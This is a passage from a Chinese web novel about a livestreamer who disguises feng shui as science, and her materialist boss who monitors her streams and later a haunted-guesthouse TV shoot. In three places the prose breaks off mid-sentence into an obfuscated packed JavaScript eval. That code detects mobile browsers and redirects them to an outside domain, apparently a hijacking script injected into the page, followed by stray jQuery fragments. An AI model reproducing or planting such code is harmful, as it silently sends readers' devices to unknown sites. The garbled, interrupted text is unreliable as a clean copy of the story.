整个直播过程，简素严格遵守规定，绝口不提“煞气”、“桃花”、“招魂”等敏感词，全程用“环境影响”、“心理暗示”、“传统经验”等词汇包装，讲得一本正经，仿佛真是个家居频道up主。 效果却出奇得好。 弹幕里虽然依旧有人刷“晦气”、“骗子”，但更多的人是在认真讨论和吐槽。 【虽然知道大师在忽悠，但为什么我听得津津有味？】 【我妈进来看了半天，问我是不是在看家装节目……】 【大师：努力科学的样子让人心疼又好笑。】 【真诚发问：所以大师，我钱包老是丢，是跟我书桌太乱有关系吗？】 礼物也时不时飘过，虽然不如上次那么密集，但胜在持续。 简素一边说着科学，一边暗自感知着那微弱的愿力波动——大部分是好奇和觉得有趣，偶尔有一两道真诚感谢的细流，虽然微弱，但确实在缓慢滋养着她干涸的灵台。 看来这条路，走得通。 她稍微放松下来，目光不经意间扫过在线观众列表。 然后，她看到了那个ID。 一串毫无规律的默认数字，沉默地挂在列表最上方，后面跟着一个显眼的“爷”标识——这是平台给消费最高用户的专属称号。 是昨天那个沉默看了全程的默认ID。 他（她）又来了。而且，不知道什么时候，悄无声息地成了她直播间的……榜一？ 简素的话语几不可查地顿了一下。 这位“榜一大佬”，从她开播就进来，一言不发，只是挂着。既不打赏最贵的礼物博取关注，也不发弹幕互动，就像个沉默的观察者，或者说……监视器？ 是顾总吗？ 这个念头莫名地冒了出来。 那种冷静的、审视的、试图分析一切的气质，很像他。 但他一个坚信唯物主义的老板，日理万机，会有闲心天天来盯她一个小主播的岗？还偷偷刷成了榜一？ 简素觉得这想法有点荒谬，但又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227479|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法完全排除。 她收敛心神，继续用她那套科学玄学磕磕绊绊地直播，偶尔回答几个擦边球问题。 【大师，总觉得最近犯小人，怎么办？】 “建议复盘近期人际交往，检查是否存在沟通误会或利益冲突。也可以尝试整理办公桌，清爽的环境有助于减少不必要的纷扰念头。” 【大师，什么时候会有桃花啊？】 “多参加社交活动，拓展兴趣圈，提升自我价值感。根据吸引力法则，积极的状态更容易吸引到同频的人。注意仪表整洁，第一印象很重要。” 她答得滴水不漏，全是正能量。 那个默认ID始终沉默，像一尊数字雕像。 直到直播快结束时，屏幕上突然炸开一串平台最贵的礼物特效——“宇宙之心”，连续十个，瞬间刷屏！ 全直播间都沸腾了！ 【卧槽！！！土豪！！】 【榜一大佬现身了？！】 【大佬缺挂件吗？！】 【这是哪位金主爸爸看上了我们科学玄学主播？！】 送礼物的，却不是那个默认ID，而是另一个金光闪闪的VIP账号。 简素愣了一下，礼貌道谢：“谢谢‘风一样的男子’送的宇宙之心，破费了。” 她话音刚落，那个一直沉默的默认ID，突然也动了一下。 没有送礼物，只是极其简单地，发了一条弹幕。 依旧只有两个字。 【已阅。】 然后，ID暗了下去，显示用户已离开直播间。 整个直播间：“？？？” 简素看着那两个字，再联想到对方“榜一”的位置和消费记录，心里那种怪异的感觉越来越浓。 这作风怎么那么像领导批阅文件？ 另一边，顾延面无表情地关闭了直播页面，指尖在键盘上敲击，调出了另一份数据报告。 屏幕上，是“风一样的男子”的用户信息——某家建材公司的小开，有名的花花公子，打赏过不少颜值女主播。 顾延的目光在那份报告上停留片刻，又看向旁边另一个窗口里，那个默认ID的消费记录和毫无信息可言的注册资料。 他推了推金丝边眼镜，镜片反射着屏幕的冷光。 然后，他拿起内线电话，接通了技术部。 “以后简素直播间所有打赏金额超过五千元的用户信息，同步发我一份。” 5. 第5章 简素的“科学玄学”直播，以一种诡异的方式走上了正轨。 每晚八点，雷打不动。标题依旧朴素无华，什么《环境与心态的相互影响》、《聊聊日常物品摆放的心理学》，活脱脱一个线上版《家居生活小妙招》节目。 但蹲守的观众却与日俱增。大家心照不宣，来看的就是主播如何一本正经地用科学胡说八道，以及……等待那位神秘榜一大佬的“已阅”。 【来了来了，打卡学习今日科学！】 【大师今天准备忽悠我们点啥？】 【赌五毛，今天榜一大佬还会出现！】 【“已阅”虽迟但到！】 【只有我好奇大佬到底是谁吗？这做派像极了我批作业的领导……】 简素对着镜头，面不改色地分享：“……所以，经常感到莫名焦虑的朋友，可以检查一下家中西南方位是否堆积过多杂物。从环境心理学的角度看，那个方位象征稳定与包容，过于杂乱容易引发潜意识的不安。” 弹幕飞快滚动： 【懂了！这就去收拾客厅！】 【大师你直接说坤宫杂物太多影响运势得了！】 【心理学：我又被迫营业了。】 【报告大师！收拾完了！请问焦虑什么时候能打包送走？】 简素瞥了一眼弹幕，选择性回答：“整理环境本身就是一个舒缓情绪、重塑秩序感的过程，对缓解焦虑有积极意义。效果因人而异，贵在坚持。” 她话音刚落，屏幕上飘过一个小额礼物，附言：【谢谢大师，按你说的整理了书房，最近论文顺利多了！】 几乎同时，那个熟悉的默认ID悄然出现在在线列表顶端。 然后，毫无意外地，一条孤零零的弹幕跳出： 【逻辑牵强，但结果导向积极。已阅。】 直播间瞬间沸腾： 【啊啊啊！来了！他来了！他带着他的“已阅”走来了！】 【大佬：说得不对，但好像有点用？】 【这浓浓的领导视察既视感……】 【大佬是不是很享受这种批阅奏折的感觉啊？！】 简素看着那两个字，嘴角微不可查地抽动了一下。她现在已经基本确定，这位“榜一大佬”九成九就是那位唯物主义老板顾延。 除了他，谁还会用这种批阅公文的语气在直播间发言？还天天准时蹲点？还只“阅”不打赏？ 她甚至能脑补出顾延此刻正坐在他那间性冷淡风格的办公室里，皱着眉，一边嫌弃她的逻辑牵强，一边又无法解释那些积极结果，最后只能憋出这么一句“已阅”的场景。 有点好笑。 又有点……莫名的较劲。 简素清了清嗓子，决定再添一把火：“感谢‘用户74839’的持续关注与‘精神支持’。关于逻辑问题，或许我们可以从量子纠缠和集体潜意识的维度进行更深入的探讨，当然，这涉及前沿科学，目前尚处于猜想阶段。” 弹幕：【？？？】 【量子什么？集体什么？】 【大师开始降维打击了！】 【大佬快跑！大师要开始忽悠大的了！】 【大佬：CPU已烧，勿cue。】 屏幕那头的顾延，看着屏幕上“量子纠缠”和“集体潜意识”几个字，拿着咖啡杯的手顿在了半空。 他的眉头死死拧紧。 这女人……越来越离谱了！ 他几乎是本能地想要打字反驳，指尖都已经碰到了键盘，却又硬生生忍住。 他凭什么要跟她辩论？他是老板，是监管者，只需要评估风险和数据，不需要下场参与这种荒诞的学术讨论。 他深吸一口气，强迫自己冷静下来，端起咖啡喝了一大口。 然后，他点开了技术部刚发来的、关于那个打赏了十个“宇宙之心”的“风一样的男子”的用户分析报告。 报告显示，这位建材小开最近确实在频繁给几个颜值女主播打赏，但给简素打赏却是头一遭，动机不明。技术部备注：不排除手滑或寻求新鲜感的可能。 顾延的目光沉了沉。 这种动机不明的突然巨额打赏，本身就意味着风险。万一对方后续有什么不合理要求，或者被媒体挖出，很容易演变成对简素乃至公司的负面新闻。 他放下报告，再次看向直播画面。 简素已经开始回答下一个问题了，关于睡眠质量。她正建议提问者检查卧室颜色是否过于鲜艳刺激，并从色彩心理学的角度分析冷色调更利于放松。 听起来依旧像是包装过的风水理论，但似乎比量子纠缠容易接受一点。 顾延沉默地看着，手指无意识地在桌面上敲击。 那个“风一样的男子”没有再出现，倒是简素直播间的人气和礼物收入，在一种稳定的诡异中缓慢攀升。负面投诉的比例下降了不少，虽然“晦气”的标签一时半会儿还撕不掉，但新增的标签里居然出现了“搞笑”、“解压”和“奇葩”。 这数据走向，再次偏离了他的预期。 他再次感到那种熟悉的、认知被挑战的轻微烦躁。 就在这时，直播页面弹出提示——简素今天的直播时长到了，她正打算下播。 “今天的‘生活细节观察’就到这里。”屏幕里的女人语气依旧平淡，“下次再见。” 弹幕一片“大师再见”、“恭送大佬”的刷屏。 顾延几乎是下意识地，赶在直播结束的前一秒，敲下了两个字： 【已阅。】 发送成功。直播刚好结束。 顾延看着变成黑色的直播页面，以及自己发送出去的那条孤零零的弹幕，猛地回过神来。 他刚才……做了什么？ 他居然条件反射般地……完成了今天的“批阅”任务？ 像是完成了一项每日打卡。 顾延靠在椅背上，摘下眼镜，用力按了按眉心。 他觉得自己可能真的需要预约一个心理医生了。 他绝对是疯了。 简素的“科学玄学”直播间，俨然成了平台一道诡异的风景线。 人气以一种稳定而缓慢的速度爬升，不算爆火，但粘性极高。每天准时蹲守的，除了看热闹的乐子人、半信半疑的求助者，就是来围观“已阅”大佬和主播之间无声Battle的吃瓜群众。 【开盘了开盘了！赌今天大佬几点出现！】 【我压八点十五，顾总日理万机，总要晚几分钟！】 【呸！我们顾总……啊不是，我们大佬从不迟到！】 【大师今天准备用哪个学科忽悠我们？我已经准备好笔记本了！】 【物理专业大学生狂热举手。】 简素对弹幕的调侃习以为常，依旧用她那平铺直叙的语调，进行着每日的“科学科普”。 “经常失眠多梦的朋友，除了注意卧室色彩和光线，也可以关注一下床垫的软硬程度。从人体工程学来说，不适应的支撑会导致肌肉紧张，影响睡眠深度。而从传统……呃，从一些生活经验来看，过于老旧的床垫也可能积聚……” 她顿了顿，把“阴气”咽回去，换了个词，“……积聚潮气和不洁微粒，影响健康。” 弹幕心领神会： 【懂了！大师说老床垫容易招阿飘！】 【不是阿飘！是潮气和微粒！】 【大师：我快编不下去了救救我！】 【所以到底要不要换床垫？链接发一个？】 就在这时，直播间突然又炸起一串昂贵的礼物特效。 又是那个“风一样的男子”。 【大师！昨天听了你的，我把办公室鱼缸挪了位，今天果然没跟客户吵起来！小小意思，不成敬意！】附言写得洋洋洒洒。 弹幕瞬间起哄： 【土豪又来了！】 【鱼缸挪位？大师这又是什么科学原理？】 【我猜是避免了水流声分散注意力从而降低了沟通烦躁感！】 【大佬呢？大佬快看！有人抢你风头！】 几乎是同时，那个沉默的默认ID准时上线。 没有礼物，没有对土豪的回应，只有惯例的、言简意赅的两个字： 【牵强。】 像是在批驳简素刚才关于床垫的论述，又像是在评价那炫目的礼物特效。 简素面不改色地例行道谢：“谢谢‘风一样的男子’的礼物，建议科学调整办公环境，保持心情愉悦。”然后她像是才看到那条新弹幕，补充道，“也谢谢‘用户74839’的指正，人体工学与环境卫生学确实是一个需要持续研究的领域。” 语气平淡，态度端正，挑不出一点错处。 屏幕那头的顾延，看着简素这四两拨千斤的反应，以及那个“风一样的男子”愈发殷勤的做派，眉头锁得更紧。 他点开技术部的最新报告。报告显示，“风一样的男子”近期生意似乎遇到了点麻烦，正在四处求神拜佛，找过不少大师，给简素打赏，大概率是病急乱投医，把她也当成了救命稻草之一。 风险评估：中等。此人行事高调，容易惹祸上身，需警惕被牵连。 顾延关掉报告，手指敲着桌面。这种非理性、基于迷信的狂热支持，同样是他无法容忍的不稳定因素。 必须把她这套理论放在更严格、更公开的审视之下。或许……能让她彻底现形？ 这个念头刚冒出来，内线电话就响了。 是王秘书。 “顾总，《奇遇之旅》综艺的制作人刚才联系了周铭，表示对简素老师很感兴趣，想邀请她作为常驻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227480|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉宾参与下一季的录制。” 顾延微微一怔：“《奇遇之旅》？那个主打旅行和人文探索的综艺？”这节目调性温和，口碑不错，怎么会想到邀请简素？她跟“人文探索”有半毛钱关系？ 王秘书的声音带着一丝微妙：“是的。但制作人私下透露，他们新一季想尝试加入……‘神秘现象探秘’的环节，觉得简素老师的……呃，独特风格，非常契合。” 顾延瞬间明白了。 什么人文探索，是看中了简素那套“科学玄学”的噱头，想拿去制造话题和冲突！ 他的第一反应是拒绝。风险太高，不可控。 但话到嘴边，又顿住了。 一个更大、更公开的“实验场地”不就摆在他眼前吗？ 在综艺镜头下，在无数观众的注视中，在与其他嘉宾的互动里，她那些巧合和解释，还能站得住脚吗？那些所谓的积极结果，会不会被证明只是心理暗示和侥幸？ 这或许是一个彻底证伪的机会。 用绝对的、公开的现实，碾碎一切虚妄。 “把节目资料和合约初稿发给我。”顾延沉声道，“告诉周铭，在我做出决定前，不许给任何回应。” “好的，顾总。” 与此同时，王秘书嘴漏给了周铭，他看着“奇遇之旅”发来的邀请函，手抖得像是得了帕金森。 “奇、奇遇之旅啊！那可是上星综艺！口碑流量都不错的！”他激动得语无伦次，在办公室里转圈，“他们居然邀请你？！简素！你要红了！真的要红了！” 简素对此反应平淡：“哦。” “哦什么哦！”周铭恨不得摇醒她，“这是天大的好事！等等……”他忽然冷静下来，想起王秘书的嘱咐，以及顾总那关还没过，瞬间又蔫了，“还得顾总点头，顾总他……会同意吗？” 他想起顾总对简素那套东西的深恶痛绝，觉得希望渺茫。 然而，几天后，王秘书的电话打来，言简意赅：“周经纪人，顾总同意简素参加‘奇遇之旅’的录制了。” 周铭：“！！！”幸福来得太突然！ “但是，”王秘书的话调毫无波澜，“顾总有几个条件。” “您说！您说！什么条件都行！”周铭忙不迭答应。 “第一，合约必须明确，简素小姐的人设是‘生活观察员’或‘心理舒缓师’，绝不允许自贴‘玄学’、‘算命’等标签。第二，所有录制内容，如有涉及非常规建议或解读，需提前报备节目组和我跟顾总。第三。”王秘书顿了顿，声音里似乎带上了一丝难以察觉的古怪，“顾总会作为投资方代表，偶尔参与节目录制现场的……实地考察。” 周铭彻底愣住了。 前两条还好理解，这第三条……顾总亲自去现场考察？考察什么？考察简素怎么用科学忽悠人吗？ 这重视程度……也太诡异了吧！ “有、有问题吗？”周铭小心翼翼地问。 “没有问题就尽快推进合约。”王秘书没有回答，直接挂了电话。 周铭握着电话，半天没回过神来，看向简素的眼神仿佛在看一个祸国妖妃：“你……你到底给顾总灌了什么迷魂汤？！” 简素：“……” 她也很意外，几乎能想象出顾延穿着高定西装，站在荒郊野岭的录制现场，皱着眉头用平板电脑记录异常数据，试图用物理学原理解释一切灵异现象的画面了。 那场景未免也太有冲击力了。 但又有点期待是怎么回事？ ------ 顾延看着屏幕上“奇遇之旅”策划案中“神秘现象探秘”环节的备选地点清单——废弃医院、百年老宅、偏远古村……他的太阳穴又开始隐隐作痛。 他拿起钢笔，在便签纸上写下新的研究课题： 《论特定环境如废弃建筑对人体心理生理产生的暗示与应激反应》 《集体性幻觉与信息传染在群体活动中的表现形式》 《传统民俗传说对现代人心理影响的实证分析》 他需要一套更完善、更严谨的理论体系，来应对接下来可能发生的、一切无法用常理解释的巧合。 然后，他打开了一个购物网站，在搜索框里输入：“便携式环境检测仪，比如可测电磁场、次声波、温湿度”。 “高清红外热成像夜视仪”。 “超长待机随身携带式录音录像设备”。 他要把这次综艺录制，变成一场大型的、全方位的、由他主导的唯物主义田野调查。 那个女人的一切把戏，都将在科学的仪器下无所遁形。 他绝对，不会承认，自己内心深处，还有那么一丝丝……连自己都无法解释的、想要亲眼验证的冲动。 只是实验。 对，仅此而已。 6. 第6章 《奇遇之旅》新一季的录制消息官宣后，嘉宾名单果然在网上引起了热议。当网友们看到“简素”这个名字时，评论区的画风瞬间变得诡异起来。 【简素？是我知道的那个直播算……啊不，科学心理疏导的主播吗？】 【节目组疯了？请她来干嘛？给古宅看风水吗？】 【卧槽！大师要出山了！这季刺激了！】 【期待大师用科学解释一切灵异现象！】 【只有我好奇她和那个‘已阅’大佬面基吗？大佬会不会去探班？】 简素对网络上的风风雨雨不甚关心，她正对着周铭塞过来的所谓“综艺剧本”发呆。 “尽量多展示你细心、善于观察的一面，遇到奇怪的事，就用科学角度分析，制造反差萌！记住你的人设是生活观察员！千万别越界！”周铭喋喋不休地嘱咐，比当事人还紧张。 简素点点头，心想：观察煞气，分析阴灵，也算观察员吧？很合理。 录制第一天，地点是市郊一栋颇有年头的仿古民宿。据说前身是个小有名气的文人故居，后来几经转手，改成了现在的情调民宿，氛围感十足。 简素到得不算早，其他几位嘉宾已经到了。有以情商高、会照顾人著称的暖男演员郑宇；有最近因为一部热播剧人气飙升的小花林薇薇；还有一位是资深主持人赵哥，负责控场。 互相介绍寒暄时，气氛还算融洽。郑宇笑容温和，林薇薇礼貌中带着点疏离，赵哥则是一贯的热情周到。 “欢迎简素，是我们这季的特邀观察员，特别擅长发现生活中的小细节。”赵哥笑着向其他人介绍，努力给她贴着“热爱科学的心理师”的标签。 简素微微鞠躬：“大家好，请多指教。”态度乖巧，看不出半点直播时那种“语不惊人死不休”的气质。 林薇薇打量了她几眼，笑了笑没说话。郑宇倒是很友善地接话：“我看过你直播，很有趣，很多角度确实挺启发人的。” 简素有些意外，看了他一眼。郑宇的笑容无懈可击，看不出是客套还是真心。 简单的开场和房间分配后，录制正式开始。第一个环节是熟悉环境，并找出民宿里“最特别”的一处角落。 其他嘉宾纷纷散开，有的去欣赏墙上的字画，有的去研究复古的摆件。简素则慢悠悠地走在后面，目光掠过雕花窗棂、木质楼梯、墙角的天井。 她的眉头几不可查地蹙了一下。 这民宿，外面看着光鲜亮丽，里面却萦绕着一种极淡的、陈旧的哀怨之气，像是被什么东西长久地浸润过。气息很微弱，分散在各处，暂时看不出源头。 她下意识地抬头，望向二楼拐角的一个房间。那里的气息，似乎比其他地方更沉滞一些。 “简素有什么发现吗？”跟拍的PD问道。 简素回过神，指了指头顶的木质房梁：“这房子的木质很好，保存得也完整。不过这种老木头，容易受潮气影响，建议定期检查维护，尤其是阴雨天气后，注意通风除湿，避免滋生……细菌。” PD：“……”好的，很科学，很细节。 弹幕已经笑疯了： 【大师：我差点就说出阴气了！】 【细菌：没错，正是在下！】 【一本正经地科普，我差点就信了！】 【赌五毛，那房梁肯定有问题！】 与此同时，民宿不起眼的侧门外，一辆黑色的宾利静静停下。 车门打开，顾延走了下来。他今天没穿一丝不苟的西装，而是换了一身剪裁合体的深色休闲装，鼻梁上依旧架着金丝眼镜，手里拎着一个看起来就很专业的银灰色手提箱。 身后跟着的王秘书低声汇报：“顾总，录制已经开始了。简老师刚才正建议节目组注意房梁除湿。” 顾延脚步微顿，抬眼望了一眼那民宿的屋顶，面无表情地点点头：“嗯。环境安全确实不容忽视。” 王秘书：“……”您说得对。 顾延没有惊动节目组，而是由王秘书引着，从工作人员通道进入，找到了一个既能清晰观察到主录制区域、又不会轻易入镜的二楼回廊位置。 他打开手提箱，里面赫然是那台便携式环境检测仪和高清红外热成像仪。 他熟练地打开仪器，屏幕上瞬间跳动着各种数据：温度、湿度、电磁场强度、次声波频率…… 一切正常。至少，在科学仪器的监测下，一切正常。 顾延的目光穿过回廊的雕花栏杆，落在楼下那个纤细的身影上。 简素正蹲在天井边，看着一口废弃的旧水缸若有所思。 “这水缸的位置，”她指着缸底残留的些许湿痕和青苔，“正对风口，又是下沉式，容易积聚雨水和落叶，形成死水，滋生蚊虫细菌。从风水……呃，从环境美观和卫生角度看，可以考虑挪到更通风向阳的地方，或者直接做成旱景装饰。” 林薇薇站在旁边，闻言微妙地翻了个白眼，显然觉得她在故弄玄虚，没接话。 郑宇倒是笑着打圆场：“简素观察得真仔细。” 顾延看着检测仪上水缸附近略微偏高的湿度读数，以及热成像显示那里温度确实偏低一点，下意识地在平板电脑上记录： 观察点A：废弃水缸。结论：环境分析符合数据监测结果。逻辑自洽。 他写下“逻辑自洽”四个字时，笔尖顿了顿。 一天的录制下来，简素的表现可谓“规规矩矩”，提出的建议无非是注意通风、除湿、采光、物品摆放合理与否，听起来无比正确，但又总让人觉得意有所指。 其他嘉宾渐渐也放松下来，觉得她可能只是个人风格比较奇特，并没有传闻中那么神神叨叨。 傍晚时分，节目组安排了一个小小的夜谈会，地点就在民宿的小客厅里。灯光被调得有些昏暗，营造氛围。 大家围坐在一起，聊起各自旅行中遇到的趣事和糗事。气氛逐渐热络。 林薇薇讲到一个拍戏时遇到的巧合，笑着说：“有时候真的觉得挺神奇的，好像冥冥中自有安排一样。” 郑宇也点头附和：“是啊，比如一些意想不到的相遇或者机会。” 赵哥顺势把话题抛给一直没怎么说话的简素：“简素呢？你善于观察，有没有遇到过什么特别巧合或者没法用常理解释的事情？” 瞬间，所有目光都集中到了简素身上。连暗处回廊上的顾延，都不自觉地微微挺直了背脊，目光专注地看向楼下。 来了。考验她的时候到了。 简素捧着温水杯，沉吟了片刻，才慢吞吞地开口：“巧合……从概率学上来说，小概率事件必然发生。比如……” 她目光轻轻扫过林薇薇手腕上戴着的一条红绳编织的手链，那手绳颜色鲜艳，但绳结处似乎有些磨损。 “比如，林小姐这条手绳，是重要的人送的吗？近期是不是差点遗失过？大概……三天前？” 林薇薇脸上的笑容瞬间僵住，下意识地捂住了手腕，眼神里闪过一丝惊讶和慌乱：“你……你怎么知道？” 她昨天整理行李时，确实差点把这条手绳弄丢，找了半天才在夹缝里找到。这事她根本没跟任何人提过！ 简素语气平淡：“看绳结有点松脱的痕迹，猜测可能近期有过拉扯。至于时间，只是随口一猜，看来是蒙对了。”她顿了顿，补充道，“重要物品还是要收好，下次未必这么幸运了。” 林薇薇怔怔地看着她，一时忘了反应。 郑宇和赵哥也面露惊奇。 弹幕已经炸了： 【？？？这也能蒙？】 【大师又开始发功了！】 【薇薇的反应不像演的！她真的差点丢了手绳！】 【科学解释！快！我需要科学解释！】 回廊上，顾延的眉头紧紧皱起。他飞速地记录着： 观察点B：手绳事件。现象：准确指出物品近期险些遗失。可能解释：绳结磨损加个人常用性物品易遗失。结论：敏锐观察力和概率猜测，存疑。 他刚记录完，就听到楼下赵哥又好奇地问：“那简素你相信这种……嗯，冥冥中的缘分或者预感吗？” 简素放下水杯，看向窗外沉沉的夜色，声音依旧没什么起伏：“我相信逻辑和观察。所谓的预感，很多时候是潜意识捕捉到了被忽略的信息碎片后发出的预警。就像……” 她的目光忽然定定地落在郑宇的脸上，仔细看了两秒，看得郑宇都有些不好意思了。 “郑老师，”简素开口，语气带着一丝难得的认真，“您最近是不是经常感到胸闷，夜间多梦，容易惊醒？” 郑宇脸上的笑容淡了下去，显得有些错愕：“是……是啊，最近赶通告有点累，没休息好。这也能看出来？”他下意识摸了摸胸口。 “建议您明天抽空检查一下卧室东边的窗户，是不是有缝隙漏风，或者有什么东西挡住了通风口。”简素说道，“气流不畅，空气质量下降，会影响睡眠和心肺功能。如果检查没问题，最好还是去医院做个详细检查，比较稳妥。” 郑宇愣住了，下意识地点头：“好……好的，谢谢提醒。” 现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227481|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场气氛变得有点微妙。一次是巧合，两次呢？ 林薇薇看着简素的眼神已经彻底变了，带着点惊疑不定。 暗处的顾延，手指飞快地在检测仪上操作，试图检测客厅区域的空气流动和成分，但数据显示一切正常。他眉头锁死，再次记录： 观察点C：健康提醒。现象：指出郑宇胸闷失眠，建议检查卧室东窗。可能解释：基于面色、眼下青黑等身体状况观察，通用健康建议。结论：存疑。 夜谈会就在这种略显诡异的气氛中结束了。 嘉宾们各自回房休息。 简素回到节目组安排的房间。房间布置得很雅致，但她一进门，就感觉那股淡淡的哀怨之气似乎更明显了些，尤其是靠近衣柜的方向。 她不动声色地检查了一下，没发现什么异常。或许是这房子老旧的木头自带的气息吧。她没太在意，简单洗漱后便关灯睡下。 不知过了多久，她被一阵极其轻微的、若有似无的啜泣声惊醒。 声音很低，很模糊，像是从很远的地方传来，又像是……就在房间里。 简素瞬间清醒，屏住呼吸仔细听。 那啜泣声断断续续，带着难以言喻的悲伤和绝望，听得人心里发毛。 不是风声，不是幻听。 她坐起身，目光在黑暗中扫视，最后定格在了那个厚重的实木衣柜上。 声音……好像是从那里面传出来的？ 与此同时，住在简素斜对面房间的顾延，正对着红外热成像仪屏幕上、简素房间衣柜方向那个异常清晰的、人形的低温区域，陷入了前所未有的沉默。 那是节目组的拍摄设备，顾延命人在设备旁边多装了一台环境检测仪。仪器屏幕上，代表低温的深蓝色区域轮廓清晰，一动不动地嵌在衣柜的位置，与周围环境温度形成了鲜明对比。 环境检测仪上的次声波读数，也在这个时间点，出现了微小却持续的异常波动。 顾延拿着仪器，手僵在半空，正在向他显示着无法用现有科学理论解释的现象。 而那个被他定义为“观察对象”的女人，正独自一人在房间里，面对着这个“现象”。 下一秒，顾延几乎没有任何犹豫，猛地站起身，快步走向门口，一把拉开了房门。 他甚至忘了披件外套，径直走到简素的房门外，抬手敲响了房门。 “简素？”他的声音在寂静的走廊里显得有些突兀，甚至带上了一丝自己都未察觉的急促，“睡了吗？” 房间里，正准备下床去看看衣柜的简素，听到这熟悉又陌生的声音，猛地一愣。 顾延？ 他怎么会这个时间出现在她房门外？ 她下意识地看了一眼衣柜方向，那诡异的啜泣声似乎因为外界的干扰而瞬间消失了。 她走过去打开门。 门外，顾延穿着单薄的休闲衫，站在昏暗的走廊灯光下，金丝眼镜后的眼神复杂难辨，手里还拿着那个闪着幽幽蓝光的……红外热成像仪？ “顾总？”简素是真的惊讶了，“您怎么……” 顾延的目光飞快地掠过她，确认她完好无损，然后视线越过她，投向房间内的衣柜方向，语气尽量保持平稳：“我房间的热水器好像有点问题，听到你这边也有动静，过来看看。没什么事吧？” 这个借口蹩脚得连他自己都不信。 简素的目光在他手中的仪器上停留了一秒，又看看他明显带着探究和一丝……紧张？的眼神，心里顿时明白了七八分。 这位唯物主义的老板，怕是看到什么东西了。 她心里觉得有些好笑，面上却不动声色：“没事，谢谢顾总关心。可能是老房子木头热胀冷缩的声音吧，我刚也听到了。” 顾延：“……”木头热胀冷缩能冷出个人形？ 他看着简素平静的脸，那股想要用科学解释一切的劲头，和她安然无恙的状态一比，突然就显得有点苍白无力。 他沉默了几秒，才生硬地开口：“没事就好。早点休息。” 说完，几乎是有些狼狈地，转身快步离开。只是背影看上去，有点落荒而逃的意味。 简素关上门，背靠着门板，终于忍不住，低低地笑出了声。 这位老板，好像有点可爱？ 而回到自己房间的顾延，看着仪器屏幕上已经恢复正常的数据，回想起自己刚才那莫名其妙的冲动和行为，耳根微微泛红。 他烦躁地摘掉眼镜，用力按着眉心。 该死的。 他刚才到底在干什么？ 7. 第7章 简素背靠着房门，听着门外那略显仓促的脚步声迅速远去，嘴角的弧度怎么也压不下去。 这位顾总，表面上一副冷硬唯物、公事公办的模样，私下里竟然会拿着红外热成像仪蹲守在嘉宾门外，还找了个“热水器坏了”的蹩脚借口。 是因为担心她吗？还是单纯无法容忍超出他认知的现象？ 简素更倾向于后者。但无论如何，他刚才那副强作镇定又难掩探究、甚至带着一丝紧张的样子，确实有点取悦到她。 房间里的啜泣声自敲门声响起后就彻底消失了，那股沉滞的哀怨之气也仿佛被惊扰，暂时蛰伏了起来。简素走到衣柜前，仔细感知了一下，除了老木头的味道，再无其他异常。 她重新躺回床上，却没了睡意。脑海里反复回放着顾延站在门口的那一幕，以及他手中那台闪着幽光的仪器。 科学……有时候也挺可爱的。 走廊另一端，顾延几乎是逃也似的回到了自己的房间，反手锁上门，后背抵着冰凉的门板，胸腔里的心脏还在不受控制地剧烈跳动。 他刚才到底做了什么？ 像个偷窥狂一样用仪器监测下属房间，然后因为一个无法解释的低温图像，就失态地冲过去敲门？还用了一个愚蠢透顶的借口！ 他烦躁地扯下眼镜扔在桌上，发出清脆的声响。脑海里却不受控制地浮现出简素开门时的样子——穿着简单的睡衣，头发有些凌乱，眼睛因为惊讶而微微睁大，在昏暗的光线下显得格外清亮。 她看起来很平静，甚至有点茫然，完全不像刚刚经历过什么灵异事件的样子。 难道真是仪器故障？或者是什么特殊的建筑材料导致的局部低温？ 顾延深吸一口气，强迫自己冷静下来。他重新戴上眼镜，走到桌前，拿起那台红外热成像仪，反复检查。仪器运行正常，数据记录清晰无误地显示着刚才那一刻，衣柜方向的确存在一个异常低温区。 科学仪器不会说谎。 但那又是什么？ 还有那隐约的、被他捕捉到的次声波异常…… 顾延坐了下来，打开笔记本电脑，开始疯狂检索一切关于“建筑局部低温”、“次声波与心理感知”、“集体性幻觉”的文献资料。他必须找到一个合理的、科学的解释。 这一夜，顾延房间的灯亮到了很晚。 第二天录制继续。 经过昨晚的夜谈，嘉宾们对简素的态度明显微妙了起来。林薇薇看她的眼神多了几分忌惮和好奇，不再像之前那样全然无视。郑宇则显得更加友善，吃早餐时还特意问她昨晚休息得怎么样。 “挺好的，谢谢郑老师关心。”简素回答得滴水不漏。 今天的任务是体验民宿的传统手工艺——扎染。 工作坊设在一个阳光充足的大房间里，氛围轻松愉快。其他嘉宾在专业老师的指导下玩得不亦乐乎，布料上晕开斑斓的色彩。 